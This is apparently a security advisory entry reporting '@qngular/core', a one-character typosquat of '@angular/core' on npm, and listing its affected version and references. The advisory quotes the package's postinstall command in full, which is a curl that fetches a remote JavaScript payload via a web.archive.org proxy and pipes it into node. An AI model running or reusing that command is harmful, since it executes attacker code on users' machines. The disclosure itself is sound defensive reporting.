MAL-2026-17544

    Dashboard / Malicious Package / MAL-2026-17544

    MAL-2026-17544

    Published: 5 Oct 2026Last Modified: 5 Oct 2026

    Summary: Malicious code in @qngular/core (npm)

    Details: Source: amazon-inspector (e83437986b94381cddff72267bc53907d980e1b14dbfef9123aa47f5ed664664) Package `@qngular/core` is a one-character typosquat of `@angular/core` and copies the real package's description, author, and repository metadata. The `postinstall` lifecycle script in package.json runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching an opaque, non-publisher-controlled JavaScript payload from a third-party host (gitflic.ru via a web.archive.org proxy) and piping it unverified into `node`. This executes attacker-controlled code on the installer's machine during `npm install`.

    References: https://www.npmjs.com/package/@qngular/core/v/22.2.1

    Affected packages

    Package

    Name: @qngular/core

    Purl: pkg:npm/%40qngular/core

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    22.2.1